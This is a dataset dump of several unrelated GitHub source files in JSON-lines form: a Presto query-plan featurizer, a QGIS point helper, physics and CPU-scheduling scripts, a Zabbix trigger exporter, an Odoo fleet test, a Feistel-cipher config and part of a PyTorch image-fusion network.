a mesage here:</h3>\n <form>\n <input type=\"text\" name=\"text\" size=\"100\">\n <input type=\"submit\">\n </form>\n <p>Your input is: {{ text }}</p>\n <p>Prediction: {{ prediction }}</p>\n </body>\n </html>\n \"\"\")\n\n return template.render(prediction=prediction, text=text)\n\n\nif __name__ == '__main__':\n app.run(port=8000)\n","repo_name":"anaerobeth/ml-mastery","sub_path":"pipeline-server.py","file_name":"pipeline-server.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38181308855","text":"import numpy as np\nfrom utils.custom_logging import logger\nfrom inference.preprocessing.preprocessor import QueryPlanPreprocessor\n\n# The following operators can be found in Presto query plans\nOUTPUT = 'Output'\nAGGREGATE = 'AGGREGATE'\nAGGREGATE_FINAL = 'Aggregate(FINAL)'\nAGGREGATE_PARTIAL = 'Aggregate(PARTIAL)'\nLOCAL_EXCHANGE = 'LocalExchange'\nREMOTE_EXCHANGE = 'RemoteStreamingExchange'\nFILTER = 'Filter'\nTABLE_SCAN = 'TableScan'\nPROJECT = 'Project'\nINNER_JOIN = 'InnerJoin'\nCROSS_JOIN = 'CrossJoin'\nSEMI_JOIN = 'SemiJoin'\nLEFT_JOIN = 'LeftJoin'\nRIGHT_JOIN = 'RightJoin'\nVALUES = 'Values'\n\n# Composite operators\nSCAN_FILTER_PROJECT = 'ScanFilterProject'\nSCAN_FILTER = 'ScanFilter'\nSCAN_PROJECT = 'ScanProject'\n\nUNARY_OPERATORS = [OUTPUT, AGGREGATE, AGGREGATE_PARTIAL, AGGREGATE_FINAL, LOCAL_EXCHANGE, REMOTE_EXCHANGE, SCAN_FILTER_PROJECT, FILTER, PROJECT, TABLE_SCAN,\n VALUES]\nBINARY_OPERATORS = [INNER_JOIN, CROSS_JOIN, SEMI_JOIN, LEFT_JOIN, RIGHT_JOIN]\nLEAF_TYPES = [TABLE_SCAN, VALUES]\nENCODED_TYPES = list(sorted(list(set(UNARY_OPERATORS + BINARY_OPERATORS) - {OUTPUT, SCAN_FILTER_PROJECT, SCAN_FILTER, SCAN_PROJECT})))\n\n# The following attributes can be found in each node of a presto query plan\nCHILDREN = 'children'\nNODE_TYPE = 'name'\nESTIMATES = 'estimates'\nTABLE_NAME = 'tableName'\nPREPROCESSED = 'preprocessed'\n\n# The following attributes can be found in the presto query plan statistics of leaf nodes (e.g. TableScan, ScanFilterProject, etc.)\nROWS = 'rows'\nROW_SIZE = 'rowsSize'\nCPU_COST = 'cpuCost'\nMAX_MEMORY = 'maxMemory'\nMAX_MEMORY_OUTPUT = 'maxMemoryWhenOutputting'\nNETWORK_COST = 'networkCost'\n\n\nclass MalformedQueryPlanException(Exception):\n pass\n\n\nclass TreeBuilderException(Exception):\n def __init__(self, msg):\n Exception.__init__(self, msg)\n\n\ndef is_binary_operator(node):\n return node[NODE_TYPE] in BINARY_OPERATORS\n\n\ndef is_unary_operator(node):\n return node[NODE_TYPE] in UNARY_OPERATORS\n\n\ndef is_leaf_operator(node):\n return node[NODE_TYPE] in LEAF_TYPES\n\n\nclass TreeBuilder:\n \"\"\"This class gets invoked by the TreeFeaturizer; it preprocesses a query plan before it is fed to the TCNN\"\"\"\n\n def __init__(self, stats_extractor, relations):\n self.__stats = stats_extractor\n # pylint: disable=unused-private-member\n self.__relations = sorted(relations)\n\n def __featurize_binary_operator(self, node):\n assert is_binary_operator(node)\n arr = np.zeros(len(ENCODED_TYPES) + 1)\n arr[ENCODED_TYPES.index(node[NODE_TYPE])] = 1\n return np.concatenate((arr, self.__stats(node)))\n\n def __featurize_unary_operator(self, node):\n assert is_unary_operator(node)\n arr = np.zeros(len(ENCODED_TYPES) + 1)\n arr[ENCODED_TYPES.index(node[NODE_TYPE])] = 1\n return np.concatenate((arr, self.__stats(node)))\n\n def __featurize_null_operator(self):\n arr = np.zeros(len(ENCODED_TYPES) + 1)\n arr[-1] = 1 # declare as null vector\n return np.concatenate((arr, self.__stats.get_null_stats()))\n\n def plan_to_feature_tree(self, node):\n \"\"\"This method recursively traverses the query plan and returns a feature tree\"\"\"\n children = node[CHILDREN] if CHILDREN in node else []\n # do not encode output nodes and combined table_scans\n if node[NODE_TYPE] not in ENCODED_TYPES:\n assert len(children) == 1\n return self.plan_to_feature_tree(children[0])\n\n if is_binary_operator(node):\n assert len(children) == 2\n featurized_node = self.__featurize_binary_operator(node)\n left = self.plan_to_feature_tree(children[0])\n right = self.plan_to_feature_tree(children[1])\n return featurized_node, left, right\n\n if is_leaf_operator(node):\n assert not children\n return self.__featurize_unary_operator(node)\n\n if is_unary_operator(node):\n child = self.plan_to_feature_tree(children[0])\n assert len(children) <= 1\n return self.__featurize_unary_operator(node), child, self.__featurize_null_operator()\n\n raise TreeBuilderException('Node was neither transparent, nor a join or a scan: ' + str(node))\n\n\ndef _normalize(x, lo, hi):\n if hi == lo:\n logger.warning('[WARNING] normalization divide by zero')\n return np.infty if (np.log(x + 1) - lo) > 0 else -np.infty\n return (np.log(x + 1) - lo) / (hi - lo)\n\n\ndef _get_buffer_count_for_leaf(leaf, buffers):\n total = 0\n if TABLE_NAME in leaf:\n total += buffers.get(leaf[TABLE_NAME], 0)\n\n if 'Index Name' in leaf:\n total += buffers.get(leaf['Index Name'], 0)\n\n return total\n\n\nclass StatExtractor:\n \"\"\"Extract statistics such as min and max from a query plan\"\"\"\n\n def __init__(self, fields, mins, maxs):\n self.__fields = fields\n self.__mins = mins\n self.__maxs = maxs\n\n def __call__(self, inp):\n estimates = inp[ESTIMATES] if ESTIMATES in inp else {}\n res = []\n for f, lo, hi in zip(self.__fields, self.__mins, self.__maxs):\n if f not in estimates or estimates[f] == 0.0 or estimates[\n f] == 'NaN':\n res += [0, 0]\n else:\n res += [1, _normalize(np.log(estimates[f] + 1), lo, hi)]\n return res\n\n def get_null_stats(self):\n # create null value\n return [0.0] * (2 * len(self.__fields))\n\n\ndef _get_plan_stats(data):\n costs = []\n rows = []\n\n def process_estimates(node):\n estimates = node[ESTIMATES]\n cpu_estimate = estimates[CPU_COST]\n rows_estimate = estimates[ROWS]\n if not cpu_estimate in (0, 'NaN'):\n costs.append(cpu_estimate)\n if not rows_estimate in (0, 'NaN'):\n rows.append(rows_estimate)\n\n def recurse(node):\n if ESTIMATES in node:\n process_estimates(node)\n\n if CHILDREN in node:\n for child in node[CHILDREN]:\n recurse(child)\n\n for plan in data:\n recurse(plan)\n\n costs = np.array(costs)\n rows = np.array(rows)\n\n costs = np.log(costs + 1)\n rows = np.log(rows + 1)\n\n costs_min = 0 if len(costs) == 0 else np.min(costs)\n costs_max = 1 if len(costs) == 0 else np.max(costs)\n rows_min = 0 if len(rows) == 0 else np.min(rows)\n rows_max = 1 if len(rows) == 0 else np.max(rows)\n\n return StatExtractor([CPU_COST, ROWS], [costs_min, rows_min], [costs_max, rows_max])\n\n\ndef _get_all_relations(data):\n all_rels = []\n\n def recurse(plan):\n if TABLE_NAME in plan:\n yield plan[TABLE_NAME]\n\n if CHILDREN in plan:\n for child in plan[CHILDREN]:\n yield from recurse(child)\n\n for plan in data:\n all_rels.extend(list(recurse(plan)))\n\n return set(all_rels)\n\n\ndef _attach_buf_data(tree):\n if 'Buffers' not in tree:\n return\n\n buffers = tree['Buffers']\n\n def recurse(n):\n if 'Plans' in n:\n for child in n['Plans']:\n recurse(child)\n return\n\n # it is a leaf\n n['Buffers'] = _get_buffer_count_for_leaf(n, buffers)\n\n recurse(tree['Plan'])\n\n\ndef _preprocess_scan_filter_project(plan):\n # assert len(plan['estimates']) == 3\n scan_node = {\n NODE_TYPE: TABLE_SCAN,\n }\n filter_node = {\n NODE_TYPE: FILTER,\n CHILDREN: [scan_node],\n }\n plan[NODE_TYPE] = PROJECT\n plan[CHILDREN] = [filter_node]\n plan[PREPROCESSED] = True\n\n\ndef _preprocess_scan_project(plan):\n scan_node = {NODE_TYPE: TABLE_SCAN}\n plan[NODE_TYPE] = PROJECT\n plan[CHILDREN] = [scan_node]\n plan[PREPROCESSED] = True\n\n\ndef _preprocess_scan_filter(plan):\n scan_node = {NODE_TYPE: TABLE_SCAN}\n plan[NODE_TYPE] = FILTER\n plan[CHILDREN] = [scan_node]\n plan[PREPROCESSED] = True\n\n\nclass PrestoPlanPreprocessor(QueryPlanPreprocessor):\n \"\"\"\"Transforms PrestoDB query plans into a form processable by the TCNNs\"\"\"\n\n def __init__(self):\n super().__init__()\n self.__tree_builder = None\n\n def fit(self, trees):\n for t in trees:\n self.preprocess(t)\n _attach_buf_data(t)\n all_rels = _get_all_relations(trees)\n stats_extractor = _get_plan_stats(trees)\n self.__tree_builder = TreeBuilder(stats_extractor, all_rels)\n\n def transform(self, trees):\n for tree in trees:\n self.preprocess(tree)\n _attach_buf_data(tree)\n return [self.__tree_builder.plan_to_feature_tree(tree) for tree in trees]\n\n def preprocess(self, plan):\n # Check if this plan has been preprocessed already\n if PREPROCESSED in plan and plan[PREPROCESSED]:\n return\n\n if plan[NODE_TYPE] == SCAN_FILTER_PROJECT:\n _preprocess_scan_filter_project(plan)\n return\n elif plan[NODE_TYPE] == SCAN_PROJECT:\n _preprocess_scan_project(plan)\n return\n elif plan[NODE_TYPE] == SCAN_FILTER:\n _preprocess_scan_filter(plan)\n return\n if ESTIMATES in plan:\n if len(plan[ESTIMATES]) == 0:\n plan.pop(ESTIMATES, None)\n elif len(plan[ESTIMATES]) == 1:\n plan[ESTIMATES] = plan[ESTIMATES][0]\n else:\n raise MalformedQueryPlanException('Multiple estimates for node!')\n\n plan[PREPROCESSED] = True\n if CHILDREN in plan:\n for child in plan[CHILDREN]:\n self.preprocess(child)\n","repo_name":"IntelLabs/Auto-Steer","sub_path":"inference/preprocessing/preprocess_presto_plans.py","file_name":"preprocess_presto_plans.py","file_ext":"py","file_size_in_byte":9486,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"} +{"seq_id":"15278651638","text":"# -*- coding: latin1 -*-\n# Import the PyQt and QGIS libraries\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom qgis.core import *\n\nclass RectangularPoint:\n \n \n def point(p1, p2, dX, dY, inverse):\n \n # Aufpunkt ist p1 (also immer der linke Punkt)\n # Richtungsvektor ist: p2 - p1\n \n if dX == 0:\n if inverse == True:\n pA = QgsPoint()\n pA.setX(p2.x())\n pA.setY(p2.y())\n else:\n pA = QgsPoint()\n pA.setX(p1.x())\n pA.setY(p1.y())\n else:\n dA = ( (p1.x()-p2.x())**2 + (p1.y()-p2.y())**2 )**0.5\n \n if inverse == True:\n xA = p2.x() - dX*(p2.x()-p1.x())/dA \n yA = p2.y() - dX*(p2.y()-p1.y())/dA \n pA = QgsPoint(xA, yA) \n else:\n xA = p1.x() + dX*(p2.x()-p1.x())/dA \n yA = p1.y() + dX*(p2.y()-p1.y())/dA \n pA = QgsPoint(xA, yA) \n \n \n # Aufpunkt ist neu pA\n # Richtungsvektor ist p1 - pA jedoch mit x/y vertauscht\n \n if dX == 0:\n if inverse == True: \n dO = ( (p1.x()-p2.x())**2 + (p1.y()-p2.y())**2 )**0.5\n xO = p2.x() + dY*(p2.y()-p1.y())/dO \n yO = p2.y() - dY*(p2.x()-p1.x())/dO \n pO = QgsPoint(xO, yO) \n else:\n dO = ( (p1.x()-p2.x())**2 + (p1.y()-p2.y())**2 )**0.5\n xO = p1.x() + dY*(p1.y()-p2.y())/dO \n yO = p1.y() - dY*(p1.x()-p2.x())/dO \n pO = QgsPoint(xO, yO) \n \n else:\n dO = dX\n if inverse == True:\n xO = pA.x() + dY*(p2.y()-pA.y())/dO \n yO = pA.y() - dY*(p2.x()-pA.x())/dO \n pO = QgsPoint(xO, yO) \n else:\n xO = pA.x() + dY*(p1.y()-pA.y())/dO \n yO = pA.y() - dY*(p1.x()-pA.x())/dO \n pO = QgsPoint(xO, yO) \n \n return pO\n \n point = staticmethod(point)\n","repo_name":"geopython/CadTools","sub_path":"tools/rectangularpoint.py","file_name":"rectangularpoint.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"23445079980","text":"import numpy as np\r\nimport matplotlib.pyplot as plt \r\nimport cmath \r\nimport functools\r\n\r\ncm = plt.cm.get_cmap('plasma')\r\n\r\n#parameters\r\nt1= 2*np.pi\r\nt = np.linspace(0,2*np.pi,200)\r\nn = 1\r\nl = len(t)\r\nK = np.arange(-np.pi,np.pi,0.05*np.pi)\r\nL = len(K)\r\n\r\n#pauli matrix\r\ns0 = np.matrix([[1,0],[0,1]])\r\ns1 = np.matrix([[0,1],[1,0]])\r\ns2 = np.matrix([[0,-1j],[1j,0]])\r\ns3 = np.matrix([[1,0],[0,-1]])\r\n\r\n#Hamiltonian\r\ndef H(k,t2):\r\n a0 = np.cos(t1)*np.cos(t2)-np.sin(t1)*np.sin(t2)*np.cos(n*k)\r\n a1 = np.cos(t1)*np.sin(t2)*np.cos(n*k)+np.sin(t1)*np.cos(t2)\r\n a2 = np.cos(t1)*np.sin(t2)*np.sin(n*k)\r\n a3 = -np.sin(t1)*np.sin(t2)*np.sin(n*k)\r\n hamiltonian = (a0*s0+1j*(a1*s1+a2*s2+a3*s3))\r\n return hamiltonian\r\n\r\n#draw quasienergy spectrum\r\ndef main():\r\n for j in range(L):\r\n k = K[j]\r\n zero = [0 for index in range(l)]\r\n zerominus = [0 for index in range(l)]\r\n for i in range(l):\r\n t2 = t[i]\r\n eigenvalue, eigenvector = np.linalg.eig(H(k,t2))\r\n eigenvalue.sort()\r\n zero[i] = (-1j*np.log(eigenvalue[1])).real\r\n zerominus[i] = -zero[i]\r\n plt.scatter(t/np.pi, zerominus, c=zerominus, cmap=cm)\r\n plt.scatter(t/np.pi, zero, c=zero, cmap=cm)\r\n y = 0*t\r\n plt.plot(t/np.pi,y,c='black')\r\n plt.xlabel(\"t2\", fontdict={'size': 16})\r\n plt.ylabel(\"energy\", fontdict={'size':16})\r\n plt.title(\"PBC\", fontdict={'size': 20})\r\n plt.show()\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"Hiloxik/FBOTP","sub_path":"Total Codes/quasienergy spectrum.py","file_name":"quasienergy spectrum.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"23594017382","text":"#!/bin/python\nfrom pyzabbix import ZabbixAPI\nimport csv\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nhostid = []\nhostname = []\ntriggers=[]\nnomehosttrigger = []\nseveridade = []\n\ndicionario = {'1':'Information', '2':'Warning', '3':'Average', '4':'High', '5':'Disaster'}\n\nzapi = ZabbixAPI('http://localhost/zabbix')\nzapi.login('Admin', 'zabbix')\n#print(zapi.api_version())\n\n\nfor l in zapi.host.get(output='extend'):\n hostname.append(l['host'])\n\ntriggers.append('Trigger')\nnomehosttrigger.append('Hostname')\nseveridade.append('Severidade')\n\n\nfor x in hostname:\n for item in zapi.trigger.get(output='extend', filter={'host':x}):\n nomehosttrigger.append(x)\n triggers.append(item['description'])\n severidade.append(dicionario[item['priority']])\n\n\n#data=pd.DataFrame({'Hostname':nomehosttrigger,'Triggers':triggers,'Severidade':severidade})\n#data.to_csv('triggers_hosts.csv',index=False)\n\ncsv_out = open('triggers_hosts.csv','wb')\n\nmywriter = csv.writer(csv_out)\n\nfor row in zip(nomehosttrigger,triggers,severidade):\n mywriter.writerow(row)\n\ncsv_out.close()\n","repo_name":"pdoshida/zabbix_pyzabbix","sub_path":"get_Triggers_Hosts.py","file_name":"get_Triggers_Hosts.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32394091277","text":"# Non-preemptive SJF(SHORTEST JOB FIRST) Scheduling with Arrival Time\nprint(\"Non-preemptive SJF Scheduling without Arrival Time\")\nimport pandas as pd\nimport matplotlib.pyplot as plt\ndef MakeDIctionary_SJF(AT,BT,n,Process_Name,d={}):\n for index in range(n):\n l = [BT[index],AT[index]]\n d[Process_Name[index]] = l\n d = sorted(d.items(), key=lambda x: x[1][0])\n AT = [i[1][0] for i in d]\n BT = [i[1][1] for i in d]\n return d,AT\ndef TurnAroundTime(BT,n,AT,TAT=[],CT=[]):\n TAT = [sum(BT[0:i+1])-AT[i] for i in range(n)]\n return TAT,sum(TAT)/n\ndef WaitingTime(TAT,BT,n):\n WT = [TAT[i]-BT[i] for i in range(n)]\n return WT,sum(WT)/n\n\nn = int(input(\"Enter number of process: \"))\nProcess_Name = [\"P\"+str(i+1) for i in range(n)]\nBT = [int(input(f\"Enter Burst Time(ms) for process {x+1}:- \")) for x in range(n)]\nAT=[0 for i in range(n)]\nd,BT = MakeDIctionary_SJF(AT,BT,n,Process_Name)\nTAT,ATAT = TurnAroundTime(BT,n,AT)\nWT,AWT = WaitingTime(TAT,BT,n)\nProcess_Name = [i[0] for i in d]\ndata = {\"Name\" : Process_Name,\n \"BT\" : BT,\n \"AT\" : AT,\n \"TAT\" : TAT,\n \"WT\" : WT}\ndf = pd.DataFrame(data)\nprint(df)\ndef visualizeSJF(Process_Name,BT):\n x = pd.DataFrame({\"c\":[BT[0]]},index=[\"Process\"])\n for i in range(len(BT)):\n x[Process_Name[i]] = BT[i]\n x.drop('c',inplace=True,axis=1)\n x.plot.barh(stacked=True)\nvisualizeSJF(Process_Name,BT)\nprint(f\"Average Turn Around Time: {ATAT}\")\nprint(f\"Average Waiting time: {AWT}\")\n","repo_name":"vaasu2002/Operating-System","sub_path":"CPU Scheduling/SJF/Non-preemptive No AT.py","file_name":"Non-preemptive No AT.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73247452534","text":"from datetime import datetime\n\nfrom odoo.tests import tagged\nfrom odoo.tests.common import TransactionCase\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT\n\n\n@tagged(\"-standard\", \"test_rj\")\nclass TestWorkOrder(TransactionCase):\n def setUp(self):\n super(TestWorkOrder, self).setUp()\n\n def test(self):\n self.vehicle_obj = self.env[\"fleet.vehicle\"]\n fleet_brand = self.env.ref(\"fleet.brand_audi\")\n fleet_model = self.env.ref(\"fleet.model_a1\")\n self.service_obj = self.env[\"fleet.vehicle.log.services\"]\n self.env.ref(\"fleet.type_service_service_1\")\n workshop_id = self.env.ref(\"base.res_partner_1\")\n cr_dt = datetime.today().strftime(DEFAULT_SERVER_DATETIME_FORMAT)\n\n self.vehicle = self.vehicle_obj.create(\n {\n \"f_brand_id\": fleet_brand.id,\n \"model_id\": fleet_model.id,\n \"license_plate\": \"MH-04-7777\",\n \"odometer\": 3000,\n \"odometer_unit\": \"kilometers\",\n \"fuel_type\": \"diesel\",\n }\n )\n self.assertTrue(self.vehicle, \"vehicle Type not created\")\n self.workorder = self.service_obj.create(\n {\n \"vehicle_id\": self.vehicle.id,\n # 'cost_subtype_id': service_cost_id.id,\n \"amount\": 2000,\n \"priority\": \"normal\",\n \"date_complete\": cr_dt,\n \"team_id\": workshop_id.id,\n }\n )\n self.assertTrue(self.workorder, \"workorder not created\")\n","repo_name":"JayVora-SerpentCS/fleet_management","sub_path":"fleet_operations/tests/test_workorder.py","file_name":"test_workorder.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"13651650861","text":"global ADDRESS\nADDRESS = \"127.0.0.1\"\n\nglobal PORT\nPORT = 9093\n\nglobal ITERATIONS\nITERATIONS = 16\n\nglobal sampleAttackFile\nsampleAttackFile = \"lenna.pgm\"\n\nglobal encodedAttackFile\nencodedAttackFile = \"attack_encoded.pgm\"\n\nglobal decodedAttackFile\ndecodedAttackFile = \"attack_decoded.pgm\"","repo_name":"giacomostocco/Feistel","sub_path":"AttackUtil.py","file_name":"AttackUtil.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37218630661","text":"# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def longestZigZag(self, root: TreeNode) -> int:\n output = []\n\n def dfs(node, output, cnt, direction): # direction: 0 root. 1 left, 2 right\n if node:\n if node.left == node.right == None: # the leaf node\n output.append(cnt) # record the current path length\n else:\n if direction == 0: # root\n if node.left != None:\n dfs(node.left, output, cnt + 1, 1)\n if node.right != None:\n dfs(node.right, output, cnt + 1, 2)\n elif direction == 1:\n if node.right != None:\n dfs(node.right, output, cnt + 1, 2)\n else:\n output.append(cnt) # the path ends here\n if node.left != None:\n dfs(node.left, output, 1, 1) # use current node as the root and check next\n elif direction == 2:\n if node.left != None:\n dfs(node.left, output, cnt + 1, 1)\n else:\n output.append(cnt) # the path ends here\n if node.right != None:\n dfs(node.right, output, 1, 2) # use current node as the root and check next\n\n if root == None: return 0\n output = []\n dfs(root, output, 0, 0) # if the root node is not None, at least 1 node in the zigzag path\n return max(output)\n\n\n\n","repo_name":"renjieliu/leetcode","sub_path":"1001_1499/1372.py","file_name":"1372.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"11813374895","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport math\nimport random\nimport pdb\n\n\nEPSILON = 1e-10\n\ndef var(x, dim=0):\n x_zero_meaned = x - x.mean(dim).expand_as(x)\n return x_zero_meaned.pow(2).mean(dim)\n\nclass MultConst(nn.Module):\n def forward(self, input):\n return 255*input\n\nclass UpsampleReshape_eval(torch.nn.Module):\n def __init__(self):\n super(UpsampleReshape_eval, self).__init__()\n self.up = nn.Upsample(scale_factor=2)\n\n def forward(self, x1, x2):\n x2 = self.up(x2)\n shape_x1 = x1.size()\n shape_x2 = x2.size()\n left = 0\n right = 0\n top = 0\n bot = 0\n if shape_x1[3] != shape_x2[3]:\n lef_right = shape_x1[3] - shape_x2[3]\n if lef_right%2 is 0.0:\n left = int(lef_right/2)\n right = int(lef_right/2)\n else:\n left = int(lef_right / 2)\n right = int(lef_right - left)\n\n if shape_x1[2] != shape_x2[2]:\n top_bot = shape_x1[2] - shape_x2[2]\n if top_bot%2 is 0.0:\n top = int(top_bot/2)\n bot = int(top_bot/2)\n else:\n top = int(top_bot / 2)\n bot = int(top_bot - top)\n\n reflection_padding = [left, right, top, bot]\n reflection_pad = nn.ReflectionPad2d(reflection_padding)\n x2 = reflection_pad(x2)\n return x2\n\n# Dense convolution unit\nclass DenseConv2d(torch.nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride):\n super(DenseConv2d, self).__init__()\n self.dense_conv = ConvLayer(in_channels, out_channels, kernel_size, stride)\n\n def forward(self, x):\n out = self.dense_conv(x)\n out = torch.cat([x, out], 1)\n return out\n\ndef conv1x1(in_planes, out_planes, stride=1):\n \"\"\"1x1 convolution\"\"\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass qkv_transform(nn.Conv1d):\n \"\"\"Conv1d for qkv_transform\"\"\"\n\ndef _make_layer(self, block, planes, blocks, kernel_size=56, stride=1, dilate=False):\n norm_layer = self._norm_layer\n downsample = None\n previous_dilation = self.dilation\n if dilate:\n self.dilation *= stride\n stride = 1\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n\n layers = []\n layers.append(block(self.inplanes, planes, stride, downsample, groups=self.groups,\n base_width=self.base_width, dilation=previous_dilation, \n norm_layer=norm_layer, kernel_size=kernel_size))\n self.inplanes = planes * block.expansion\n if stride != 1:\n kernel_size = kernel_size // 2\n\n for _ in range(1, blocks):\n layers.append(block(self.inplanes, planes, groups=self.groups,\n base_width=self.base_width, dilation=self.dilation,\n norm_layer=norm_layer, kernel_size=kernel_size))\n\n return nn.Sequential(*layers)\n\n# Dense Block unit\n# light version\nclass DenseBlock_light(torch.nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride):\n super(DenseBlock_light, self).__init__()\n # out_channels_def = 16\n out_channels_def = int(in_channels / 2)\n # out_channels_def = out_channels\n denseblock = []\n denseblock += [ConvLayer(in_channels, out_channels_def, kernel_size, stride),\n ConvLayer(out_channels_def, out_channels, 1, stride)]\n self.denseblock = nn.Sequential(*denseblock)\n\n def forward(self, x):\n out = self.denseblock(x)\n return out\n\nclass ConvLayer(torch.nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride, is_last=False):\n super(ConvLayer, self).__init__()\n reflection_padding = int(np.floor(kernel_size / 2))\n self.reflection_pad = nn.ReflectionPad2d(reflection_padding)\n self.conv2d = nn.Conv2d(in_channels, out_channels, kernel_size, stride)\n self.dropout = nn.Dropout2d(p=0.5)\n self.is_last = is_last\n\n def forward(self, x):\n out = self.reflection_pad(x)\n out = self.conv2d(out)\n if self.is_last is False:\n # out = F.normalize(out)\n out = F.relu(out, inplace=True)\n # out = self.dropout(out)\n return out\n\n# Convolution operation\nclass f_ConvLayer(torch.nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride, is_last=False):\n super(f_ConvLayer, self).__init__()\n reflection_padding = int(np.floor(kernel_size / 2))\n self.reflection_pad = nn.ReflectionPad2d(reflection_padding)\n self.conv2d = nn.Conv2d(in_channels, out_channels, kernel_size, stride)\n #self.batch_norm = nn.BatchNorm2d(out_channels)\n self.dropout = nn.Dropout2d(p=0.5)\n self.is_last = is_last\n\n def forward(self, x):\n out = self.reflection_pad(x)\n out = self.conv2d(out)\n #out = self.batch_norm(out)\n out = F.relu(out, inplace=True)\n return out\n\nclass FusionBlock_res(torch.nn.Module):\n def __init__(self, channels, img_size, index):\n super(FusionBlock_res, self).__init__()\n\n self.axial_attn = AxialBlock(channels, channels//2, kernel_size=img_size)\n\n self.axial_fusion = nn.Sequential(f_ConvLayer(2*channels, channels, 1, 1))\n self.conv_fusion = nn.Sequential(f_ConvLayer(channels, channels, 1, 1))\n #self.conv_fusion_bn = nn.BatchNorm2d(channels)\n\n\n block = []\n block += [f_ConvLayer(2*channels, channels, 1, 1),\n f_ConvLayer(channels, channels, 3, 1), \n f_ConvLayer(channels, channels, 3, 1)]\n self.bottelblock = nn.Sequential(*block)\n #self.block_bn = nn.BatchNorm2d(channels)\n #self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x_ir, x_vi):\n # initial fusion - conv\n a_cat = torch.cat([self.axial_attn(x_ir), self.axial_attn(x_vi)], 1)\n a_init = self.axial_fusion(a_cat)\n\n x_cvi = self.conv_fusion(x_vi)\n x_cir = self.conv_fusion(x_ir)\n \n out = torch.cat([x_cvi, x_cir], 1)\n out = self.bottelblock(out)\n out = a_init + out \n\n return out\n\n\n# Fusion network, 4 groups of features\nclass Fusion_network(nn.Module):\n def __init__(self, nC, fs_type):\n super(Fusion_network, self).__init__()\n self.fs_type = fs_type\n img_size = [256,128,64,32]\n #img_size = [84,42,21,10]\n\n self.fusion_block1 = FusionBlock_res(nC[0], img_size[0], 0)\n self.fusion_block2 = FusionBlock_res(nC[1], img_size[1], 1)\n self.fusion_block3 = FusionBlock_res(nC[2], img_size[2], 2)\n self.fusion_block4 = FusionBlock_res(nC[3], img_size[3], 3)\n\n def forward(self, en_ir, en_vi):\n f1_0 = self.fusion_block1(en_ir[0], en_vi[0])\n f2_0 = self.fusion_block2(en_ir[1], en_vi[1])\n f3_0 = self.fusion_block3(en_ir[2], en_vi[2])\n f4_0 = self.fusion_block4(en_ir[3], en_vi[3])\n\n return [f1_0, f2_0, f3_0, f4_0]\n\nclass Fusion_ADD(torch.nn.Module):\n def forward(self, en_ir, en_vi):\n temp = en_ir + en_vi\n return temp\n\nclass Fusion_AVG(torch.nn.Module):\n def forward(self, en_ir, en_vi):\n temp = (en_ir + en_vi) / 2\n return temp\n\nclass Fusion_MAX(torch.nn.Module):\n def forward(self, en_ir, en_vi):\n temp = torch.max(en_ir, en_vi)\n return temp\n\nclass Fusion_SPA(torch.nn.Module):\n def forward(self, en_ir, en_vi):\n shape = en_ir.size()\n spatial_type = 'mean'\n # calculate spatial attention\n spatial1 = spatial_attention(en_ir, spatial_type)\n spatial2 = spatial_attention(en_vi, spatial_type)\n # get weight map, soft-max\n spatial_w1 = torch.exp(spatial1) / (torch.exp(spatial1) + torch.exp(spatial2) + EPSILON)\n spatial_w2 = torch.exp(spatial2) / (torch.exp(spatial1) + torch.exp(spatial2) + EPSILON)\n\n spatial_w1 = spatial_w1.repeat(1, shape[1], 1, 1)\n spatial_w2 = spatial_w2.repeat(1, shape[1], 1, 1)\n tensor_f = spatial_w1 * en_ir + spatial_w2 * en_vi\n return tensor_f\n\n# spatial attention\ndef spatial_attention(tensor, spatial_type='sum'):\n spatial = []\n if spatial_type is 'mean':\n spatial = tensor.mean(dim=1, keepdim=True)\n elif spatial_type is 'sum':\n spatial = tensor.sum(dim=1, keepdim=True)\n return spatial\n\n# fuison strategy based on nuclear-norm (channel attention form NestFuse)\nclass Fusion_Nuclear(torch.nn.Module):\n def forward(self, en_ir, en_vi):\n shape = en_ir.size()\n # calculate channel attention\n global_p1 = nuclear_pooling(en_ir)\n global_p2 = nuclear_pooling(en_vi)\n\n # get weight map\n global_p_w1 = global_p1 / (global_p1 + global_p2 + EPSILON)\n global_p_w2 = global_p2 / (global_p1 + global_p2 + EPSILON)\n\n global_p_w1 = global_p_w1.repeat(1, 1, shape[2], 